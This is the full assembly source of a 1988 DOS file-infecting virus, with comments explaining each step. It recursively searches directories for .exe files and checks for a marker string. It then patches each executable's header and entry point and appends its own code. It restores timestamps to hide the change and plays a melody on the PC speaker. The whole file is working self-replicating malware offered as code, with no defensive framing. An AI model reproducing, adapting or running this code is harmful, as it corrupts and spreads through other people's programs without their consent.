comment  / Good luck! Vladimir Botchev, CICT-BAS, december 1988 /

data_area      struc          ;Define a pattern for working data
                              ;area
DS_save         dw      ?
ES_save         dw      ?
IP_save         dw      ?
CS_save         dw      ?
SS_save         dw      ?
filematch       db      '*.exe',00h    ;Names for files to infect
matchall        db      '*.*',00h      ;needed for the matching procedure
infected        dw      00h            ;A very useful flag
help_flag       dw      00h            ;These two flags are needed to 
where_from_flag dw      00h            ;determine if virus is free running
                                       ;or from an infected program
                                       ;therefore it's very important 
                                       ;that where_from_flag value
                                       ;is set to zero at assembly time
handle          dw      ?                              
ip_old          dw      ?            ;old instruction pointer
cs_old          dw      ?            ;old value of code segment
ss_old          dw      ?
far_push        dw      ?
save_push       dw      ?
buffer1         db      '\',63 dup (?)
virus_stamp     db      'motherfucker'  ;Very hard to obtain in a random way
buffer2         db      2b0h dup (?)
new_area        db      64 dup (?)
new_data        db      64 dup (?)
pointer1        dw      ?
pointer2        dw      ?
pointer3        dw      ?
pointer4        dw      ?
pointer5        dw      ?
pointer6        dw      ?
pointer7        dw      ?
pointer8        dw      ?

data_area      ends                  

      org      100h           ;Defined for .com file as virus must
                              ;be able to run on itself
start:  call   setup_data     ;This is a near call therefore it's a
                              ;three byte instruction.It's purpose is
                              ;to catch correct data area address 
                              ;even when virus is appended to the
                              ;infected .exe program 
adjust  equ    offset pgm_start  ;Known offset value
pgm_start   label    word
virussize   equ      2793
      
work: mov      ax,ds          ;Save old DS
      push     cs
      pop      ds                        ;Update to needed DS value
      mov      si,offset buffer.DS_save  ;Put old DS in a quiet place
      sub      si,adjust
      add      si,bx
      mov      [si],ax
      mov      si,offset buffer.ES_save  ;Save it because Get DTA side effects
      sub      si,adjust
      add      si,bx
      mov      ax,es
      mov      [si],ax
      push     cs             ;Imperative because DI usage
      pop      es
      push      bx            ;It's imperative to always keep
                              ;this value unchanged
      mov      ax,2f00h       ;Get DTA function call
      int      21h
      mov      cx,bx          ;save address found
      pop      bx
      mov      si,offset buffer.pointer1 
      sub      si,adjust
      add      si,bx
      mov      [si],cx
      add      si,2           ;Locate the segment immediately above
      mov      ax,es
      mov      [si],ax                        
      push      cs
      pop      es
      mov      di,offset buffer.buffer1    ;adjust for first search
      inc      di                          ;Jump over the '\'
      sub      di,adjust
      add      di,bx
      mov      dx,0000h
      push     bx
      call     search_exe
      pop      bx
      mov      si,offset buffer.where_from_flag
      sub      si,adjust
      add      si,bx
      cmp      word ptr [si],0000h
      jnz      infected_run 
      int      020H

infected_run:
      mov      si,offset buffer.pointer1
      sub      si,adjust
      add      si,bx
      mov      dx,[si]
      push     ds
      mov      ax,[si+2]
      mov      ds,ax
      push     bx
      mov      ax,1a00h
      int      21h
      pop      bx
      pop      ds             ;Restore original DTA
      mov      si,offset buffer.ES_save
      sub      si,adjust
      add      si,bx
      mov      ax,[si]
      mov      es,ax          ;Restore ES
      push     bx             ;Here you can do whatever you want
      call     mary_proc
      pop      bx
      mov      si,offset buffer.IP_save
      sub      si,adjust
      add      si,bx
      mov      ax,[si]
      mov      dx,[si+2]
      mov      si,offset buffer.far_push   ;Restore original code
      sub      si,adjust                   ;segment
      add      si,bx
      mov      cx,[si]
      push     ax
      mov      ax,cs
      sub      ax,cx
      mov      di,ax                       ;For stack
      add      dx,ax
      pop      ax
      
      mov      si,offset buffer.SS_save
      sub      si,adjust                   ;Restore stack segment
      add      si,bx
      mov      cx,word ptr [si]
      add      cx,di
      
      push     es
      pop      ds
      
      cli
      mov      ss,cx
      sti
      push     dx
      push     ax
      retf

search_exe     PROC
      push     si
      push     dx
      call     transfer_filespec   ;transfer filename in another
                                   ;working area
      call     find_first          ;try to find a first match
      jc       not_here            ;first match not found
      call     try_to_infect       ;if found try to infect
                                   ;infected != 0 if success
      mov      si,offset buffer.infected
      sub      si,adjust
      add      si,bx
      test     word ptr [si],0ffffh
      jz       try_next
      jmp      quiet_exit
      
try_next:
      call     find_next           ;If infection was not succesful
                                   ;try once more 
      jc       not_here
      call     try_to_infect       ;If match found try to infect
      mov      si,offset buffer.infected      ;again
      sub      si,adjust
      add      si,bx
      test     word ptr [si],0ffffh
      jz       try_next
      jmp      quiet_exit          ;quiet exit simply jumps
                                   ;to a return instruction
not_here:
      pop      dx                  ;If first searches are
      push     dx                  ;unsuccesful try a '*.*' match
      call     search_all
      call     find_first
      jnc      attribute_test      ;i.e. expect probably to
                                   ;find a subdirectory
quiet_exit:
      pop      dx
      pop      si
      ret
      
attribute_test:            
      mov      si,dx                    ;offset of DTA
      test     byte ptr [si+015h],010h  ;where attribute byte is to
                                        ;be found.Try first with 
                                        ;subdirectory attribute
      jne      dir_found                ;subdirectory found
more_tries:
      call     find_next                ;Since the search was initiated
                                        ;with '*.*' if this is not a
                                        ;directory try to found one
      jc       quiet_exit               ;No sense to search more 
      test     byte ptr [si+015h],010h
      jz       more_tries               ;Search to the end
dir_found:
      cmp      byte ptr [si+01Eh],02Eh  ;Compare with the subdirectory
                                        ;mark '.'
      jz       more_tries               ;looking for files no
                                        ;subdirectories
      call     dta_compute              ;Valid entry, now set some DTA
                                        ;and continue to search
      push     ax
      mov      ah,01Ah                  ;Set DTA function call
      int      021h
      pop      ax
      push     si
      mov      si,offset buffer.infected      
      sub      si,adjust
      add      si,bx
      test     word ptr [si],0ffffh
      pop      si
      jnz      quiet_exit
      jmp      more_tries                  
search_exe     ENDP

dta_compute    PROC
      push     di             ;Save some registers
      push     si
      push     ax
      push     bx
      cld                     ;Up count for SI,DI pair
      mov      si,dx          ;DTA address to SI
      add      si,01EH        ;and add subdirectory
                              ;name offset
store_loop:
      lodsb      
      stosb      
      or       al,al
      jne      store_loop     ;store loop
      std
      stosb      
      mov      al,05Ch        ;Put in place the path name constructor
      stosb      
      add      di,2           ;Adjust di for new searches
      call     search_exe     ;a heavily recursion
      pop      bx             ;some cleanup and exit 
      pop      ax
      pop      si
      pop      di
      ret      
dta_compute    ENDP

try_to_infect   PROC                        
      push     ax
      push     bx
      push     cx
      push     dx
      push     si
      push     di
      
      push     es
      push     bx
      mov      ax,2f00h        ;Get DTA function call
      int      21h
      mov      ax,bx
      pop      bx
      mov      si,offset buffer.pointer3
      sub      si,adjust
      add      si,bx
      mov      [si],ax         ;Offset saved
      add      si,2
      mov      ax,es
      mov      [si],ax
      pop      es              ;Segment located just above

      mov      dx,offset buffer.new_data
      sub      dx,adjust
      add      dx,bx
      push     bx
      mov      ax,1a00h
      int      21h             ;Set DTA function call
      pop      bx              ;It's very important to save BX in all calls
      mov      di,offset buffer.new_area
      mov      si,offset buffer.buffer1
      sub      di,adjust
      sub      si,adjust
      add      di,bx
      add      si,bx
      cld                      ; Move previously found pathname or filename
                               ; to new data area
move_path:                                    
      lodsb
      stosb
      or       al,al
      jnz      move_path
      std                      ;adjust DI to recieve
      mov      al,'\'          ;filename.
      mov      cx,0040h
      std                      ;Search backward
      repne   scasb
      
      mov      si,offset buffer.pointer3
      sub      si,adjust
      add      si,bx
      mov      ax,[si]
      mov      si,ax
      add      di,2                        
o_kay:
      add      si,001eh        ;The beginning of the filename...
      cld                      ;Now move name
move_fnm:
      lodsb
      stosb
      or       al,al
      jnz      move_fnm
                                                       
      push     dx
      push     bx
      mov      dx,offset buffer.new_area
      sub      dx,adjust
      add      dx,bx
      mov      ax,3d02h        ;Open file with handle for read/write
      int      21h
      pop      bx
      pop      dx
      jnc      go_ahead        ;In case file cannot be opened
      jmp      error_exit
go_ahead:
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      mov      [si],ax         ;Save handle
      
      push     bx
      mov      bx,ax           ;Prepare for lseek
      push     dx
      mov      cx,0000h        ;Look at the end of the file
      mov      dx,0000h        ;Offset of -12 from the end of the file
      mov      ax,4202h        ;Lseek function call
      int      21h
      mov      cx,dx
      pop      dx
      pop      bx
      jnc      compute_length
      jmp      close_error
      
compute_length:
      sub      ax,000ch
      sbb      cx,0000h        ;Exact position
save_offset:
      mov      si,offset buffer.pointer5
      sub      si,adjust
      add      si,bx
      mov      [si],ax
      add      si,2
      mov      [si],cx
      
      push     bx
      push     dx
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      mov      bx,[si]
      mov      dx,ax
      mov      ax,4200h        ;From beginning of file
      int      21h             ;Lseek function call
      pop      dx
      pop      bx
      jnc      set_buffer
      jmp      close_error
            
set_buffer:      
      push     bx
      push     dx
      mov      dx,offset buffer.new_data
      sub      dx,adjust
      add      dx,bx
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      mov      bx,[si]         ;Load handle
      mov      cx,000ch
      mov      ax,3f00h
      int      21h             ;Read function call
      pop      dx
      pop      bx
      jnc      read_ok
      jmp      close_error
      
read_ok:
      mov      si,offset buffer.virus_stamp
      mov      di,offset buffer.new_data
      sub      si,adjust
      sub      di,adjust
      add      si,bx
      add      di,bx
      mov      cx,12           ;Length of strings to compare
      repe     cmpsb
      pushf
      mov      si,offset buffer.infected      
      sub      si,adjust
      add      si,bx
      mov      word ptr [si],0000h            
      popf
      jnz      infect_it

close_error:
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      push     bx
      mov      bx,[si]
      mov      ax,3e00h        ;Close file function call
      int      21h
      pop      bx
      jmp      error_exit
      
infect_it:
      mov      si,offset buffer.infected      
      sub      si,adjust
      add      si,bx
      mov      word ptr [si],7777h            
      
      mov      si,offset buffer.where_from_flag
      sub      si,adjust
      add      si,bx
      mov      ax,[si]
      sub      si,2
      mov      [si],ax         ;This code effectively moves
                               ;where_from_flag into help_flag
      add      si,2
      mov      [si],5a5ah      ;Ready to infect
      push     bx
      push     dx
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      mov      bx,[si]
      xor      cx,cx
      xor      dx,dx
      mov      ax,4200h        ;From beginning of file
      int      21h             ;Lseek function call
      pop      dx
      pop      bx
      jnc      set_new_data
      jmp      append_ok
      
set_new_data:
      push     bx
      push     dx
      mov      dx,offset buffer.new_data
      sub      dx,adjust
      add      dx,bx
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      mov      bx,[si]         ;Load handle
      mov      cx,001bh        ;Read formatted exe header
      mov      ax,3f00h
      int      21h             ;Read function call
      pop      dx
      pop      bx
      jnc      read_header
      jmp      append_ok

read_header:
      nop                      ;some code to modify header
      mov      si,offset buffer.pointer5
      sub      si,adjust
      add      si,bx
      mov      ax,[si]
      add      si,2
      add      ax,0ch
      adc      word ptr [si],0000h
      sub      si,2
      mov      [si],ax         ;This code restores original filelength
      mov      si,offset buffer.new_data
      sub      si,adjust
      add      si,bx
      mov      ax,[si]
      cmp      ax,5a4dh        ;check for valid exe file
      jz       valid_exe
      jmp      append_ok
      
valid_exe:
      mov      ax,[si+8]       ;Load module size
      xor      dx,dx
      shl      ax,1
      rcl      dx,1
      shl      ax,1
      rcl      dx,1
      shl      ax,1
      rcl      dx,1
      shl      ax,1
      rcl      dx,1            ;Multiply by 16
      
      push     ax
      push     dx              ;Adjust new size
      push     cx
      mov      dx,virussize-896+64
      push     dx
      mov      cx,0009h
      shr      dx,cl
      add      word ptr [si+4],dx
      pop      dx
      and      dx,01ffh
      add      dx,word ptr [si+2]
      cmp      dx,512
      jl       adjust_okay
      sub      dx,512
      inc      word ptr [si+4]
adjust_okay:
      mov      word ptr [si+2],dx      
      pop      cx
      pop      dx
      pop      ax
      
      push     si              ;This SI is very useful so save it
      mov      si,offset buffer.pointer5
      sub      si,adjust
      add      si,bx
      sub      [si],ax
      mov      ax,[si]
      sbb      [si+2],dx
      mov      dx,[si+2]       ;the byte size of the load module
      pop      si
      
      push     ax
      push     dx
      mov      ax,[si+14h]
      mov      dx,[si+16h]     ;Get CS:IP value
      mov      cx,[si+0eh]     ;Get SS value
      push     si
      mov      si,offset buffer.IP_save
      sub      si,adjust
      add      si,bx
      xchg     [si],ax
      xchg     [si+2],dx
      mov      si,offset buffer.SS_save
      sub      si,adjust
      add      si,bx
      xchg     [si],cx
      mov      si,offset buffer.ip_old
      sub      si,adjust
      add      si,bx
      mov      [si],ax
      mov      [si+2],dx
      mov      si,offset buffer.ss_old
      sub      si,adjust
      add      si,bx
      mov      [si],cx
      pop      si
      pop      dx
      pop      ax
      
      push      ax
      push      dx
      
      shl      ax,1
      rcl      dx,1
      shl      ax,1
      rcl      dx,1
      shl      ax,1
      rcl      dx,1
      shl      ax,1
      rcl      dx,1            ;Multiply by 16
      
      mov      cx,0008h
      shl      dx,cl
      mov      cx,0004h
      shr      ax,cl           ;A very obscure algorithm to make
                               ;a segment:offset pair
      mov      [si+14h],ax
      mov      [si+16h],dx     ;Infected values

      push     si
      mov      si,offset buffer.far_push
      sub      si,adjust
      add      si,bx
      xchg     [si],dx
      mov      word ptr [si+2],dx
      pop      si
            
      pop      dx
      pop      ax
      add      ax,virussize    
      adc      dx,0000h
      mov      cx,0003h      

mul_loop:
      shl      ax,1
      rcl      dx,1
      shl      ax,1
      rcl      dx,1
      shl      ax,1
      rcl      dx,1
      shl      ax,1
      rcl      dx,1            ;Multiply by 4096
      loop     mul_loop
                        
      or       ax,ax
      jz       exact_value
      inc      dx
exact_value:      
      mov      [si+0eh],dx     ;Infected stack segment 
                               ;Write back infected header
      push     si
      push     bx
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      mov      bx,[si]
      mov      ax,5700h        ;Get time function
      int      21h
      pop      bx
      pop      si
      jnc      correct_time
      jmp      append_ok1
      
correct_time:
      push     cx
      push     bx
      push     dx
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      mov      bx,[si]
      xor      cx,cx
      xor      dx,dx
      mov      ax,4200h        ;From beginning of file
      int      21h             ;Lseek function call
      pop      dx
      pop      bx
      pop      cx
      jnc      continue_infection
      jmp      append_ok1
      
continue_infection:
      push     cx
      push     dx
      push     bx
      mov      dx,offset buffer.new_data
      sub      dx,adjust
      add      dx,bx
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      mov      bx,[si]         ;Load handle
      mov      cx,001bh        ;Write infected exe header
      mov      ax,4000h
      int      21h             ;Write function call
      pop      bx
      pop      dx
      pop      cx
      jnc      glue_virus
      jmp      append_ok1

glue_virus:
      push     cx
      push     bx
      push     dx
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      mov      bx,[si]
      xor      cx,cx
      xor      dx,dx
      mov      ax,4202h        ;From the end of file
      int      21h             ;Lseek function call
      pop      dx
      pop      bx
      pop      cx
      jnc      write_data
      jmp      append_ok1
      
write_data:
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      
      push     dx
      push     cx
      mov      dx,bx
      sub      dx,3            ;The starting three byte call instruction
      push     es
      push     bx
      push     dx
      push     si
      mov      ax,2f00h
      int      21h
      pop      si
      pop      dx
      push     es
      push     bx
      push     si
      mov      ax,1a00h
      int      21h
      pop      si
      mov      bx,[si]              ;Load handle
      mov      cx,virussize-896+64  ;Length of virus obtained
      mov      ax,4000h             ;with dir
      int      21h
      lahf                     ;Write function call
      pop      bx
      pop      es
      push     ds
      push     es
      pop      ds
      mov      dx,bx
      
      push     ax
      mov      ax,1a00h
      int      21h
      pop      ax
      pop      ds
      pop      bx
      pop      es
      pop      cx
      pop      dx
      
      sahf
      jnc      put_stamp       ;Error or not file
      jmp      append_ok1      ;is closed      
      
put_stamp:
      push     bx
      mov      si,offset buffer.handle
      sub      si,adjust
      add      si,bx
      mov      bx,[si]
      mov      ax,5701h        ;Set time function
      int      21h
      pop      bx
append_ok1:
      mov      si,offset buffer.ip_old  ;Restore previous CS:IP values
      sub      si,adjust
      add      si,bx
      mov      ax,[si]
      mov      dx,[si+2]
      mov      si,offset buffer.IP_save
      sub      si,adjust
      add      si,bx
      mov      [si],ax
      mov      [si+2],dx      
      mov      si,offset buffer.save_push
      sub      si,adjust
      add      si,bx
      mov      ax,[si]
      mov      word ptr [si-2],ax
      mov      si,offset buffer.ss_old
      sub      si,adjust
      add      si,bx
      mov      ax,[si]
      mov      si,offset buffer.SS_save
      sub      si,adjust
      add      si,bx
      mov      word ptr [si],ax
append_ok:
      mov      si,offset buffer.help_flag
      sub      si,adjust
      add      si,bx
      mov      ax,[si]
      add      si,2
      mov      [si],ax         ;This code effectively moves
                               ;help_flag into where_from_flag 
      jmp      close_error
error_exit:
      mov      si,offset buffer.pointer3
      sub      si,adjust
      add      si,bx
      mov      dx,[si]         ;Restore original DTA
      add      si,2
      mov      ax,[si]
      push     ds
      mov      ds,ax
      mov      ax,1a00h        ;Set DTA function call
      int      21h
      pop      ds
      pop      di
      pop      si
      pop      dx
      pop      cx
      pop      bx
      pop      ax
      ret            
try_to_infect  ENDP
                                                
transfer_filespec   PROC
      push     si
      mov      si,offset buffer.filematch  ;Transfer name to the working area
      sub      si,adjust
      add      si,bx
      call     byte_move
      pop      si
      ret      
transfer_filespec   ENDP

search_all     PROC
      push     si
      mov      si,offset buffer.matchall      ;This is the '*.*' filename
      sub      si,adjust
      add      si,bx
      call     byte_move
      pop      si
      ret      
search_all     ENDP
      
byte_move      PROC
      push     ax
      push     di
      cld      
move_loop:
      lodsb      
      stosb      
      or       al,al      ;The string to move is ASCIIZ
      jne      move_loop
      pop      di
      pop      ax
      ret      
byte_move      ENDP
      
find_first     PROC
      push     cx
      push     bx
      cmp      dx,0000h
      jnbe     over_set
      mov      dx,offset buffer.buffer2   ;Set Data Transfer Area
      sub      dx,adjust                  ;or Disk Transfer area
      add      dx,bx
over_set:
      add      dx,02Bh
      mov      cx,00010h       ;Attribute byte for directory search
      mov      ah,01ah
      int      021h            ;Set DTA function call
      pop      bx
      push     bx
      push     dx
      mov      dx,offset buffer.buffer1
      sub      dx,adjust
      add      dx,bx
      mov      ah,04eh         ;find first function call
      int      021h
      pop      dx
      pop      bx
      pop      cx
      ret      
find_first     ENDP
      
find_next      PROC
      push     cx
      push     bx
      push     dx
      mov      dx,offset buffer.buffer1
      sub      dx,adjust
      add      dx,bx
      mov      cx,00010h
      mov      ah,04fh          ;Find next function call
      int      021h
      pop      dx
      pop      bx
      pop      cx
      ret      
find_next      ENDP

delay          PROC
      push     ax
      push     bx
      push     cx
      push     dx
      mov      ah,2ch           ;Read current time
      int      21h
      mov      ah,ch
      add      al,cl
      add      bh,dh
      add      bl,dl
      cmp      bl,100
      jb       secs
      sub      bl,100
      inc      bh
secs:
      cmp      bh,60
      jb       mins
      sub      bh,60
      inc      al
mins: 
      cmp      al,60
      jb       hours
      sub      al,60
      inc      ah
hours:
      cmp      ah,24
      jne      tcheck
      sub      ah,ah
tcheck:
      push     ax
      mov      ah,2ch
      int      21h
      pop      ax
      cmp      cx,ax
      ja       tdquit
      jb       tcheck
      cmp      dx,bx
      jb       tcheck
tdquit:
      pop      dx
      pop      cx
      pop      bx
      pop      ax
      ret
delay          ENDP                                    

sound          PROC
      push     ax
      push     cx
      push     dx
      push     di
      
      mov      al,0b6h
      out      43h,al
      mov      dx,14h
      mov      ax,533h*896
      div      di
      out      42h,al
      mov      al,ah
      out      42h,al
      in       al,61h
      mov      ah,al
      or       al,3
      out      61h,al
      mov      al,cl
      call     delay
      mov      al,ah
      out      61h,al
      pop      di
      pop      dx
      pop      cx
      pop      ax
      ret
sound          ENDP

music_play     PROC
      push     bx
      push     cx
      push     di
      push     si
      push     bp
freq:
      mov      di,[si]
      cmp      di,0ffffh
      je       end_play
      mov      bl,ds:[bp]
      sub      cl,cl
      sub      bh,bh
      call     sound
      add      si,2
      inc      bp
      jnz      freq
end_play:
      pop      bp
      pop      si
      pop      di
      pop      cx
      pop      bx
      ret
music_play     ENDP

mary_proc      PROC
      push     bx
      push     bp
      mov      si,offset mary_freq
      mov      bp,offset mary_time
      sub      si,adjust
      sub      bp,adjust
      add      si,bx
      add      bp,bx
      call     music_play
      pop      bp
      pop      bx
      ret      
mary_proc      ENDP

mary_freq   dw      262,262,293,329,262,329,293,196
            dw      262,262,293,329,262,262
            dw      262,262,293,329,349,329,293,262
            dw      246,196,220,246,262,262
            dw      220,246,220,174,220,246,262,220
            dw      196,220,196,174,164,174,196
            dw      220,246,220,174,220,246,262,220
            dw      196,262,246,293,262,262,0ffffh
mary_time   db      8 dup(25)
            db      4 dup(25), 50, 50
            db      8 dup(25)
            db      4 dup(25), 50, 50
            db      26, 25, 26, 5 dup(25)
            db      26, 25, 26, 3 dup(25), 30
            db      26, 25, 26, 4 dup(25), 30
            db      4 dup(25), 50, 50
setup_data:
      cli
      pop      bx       ;This will catch instruction pointer 
      push     bx      
      sti               ;value and after that restore stack
      ret               ;pointer value            
buffer data_area <>     ;Reseve data_area space       
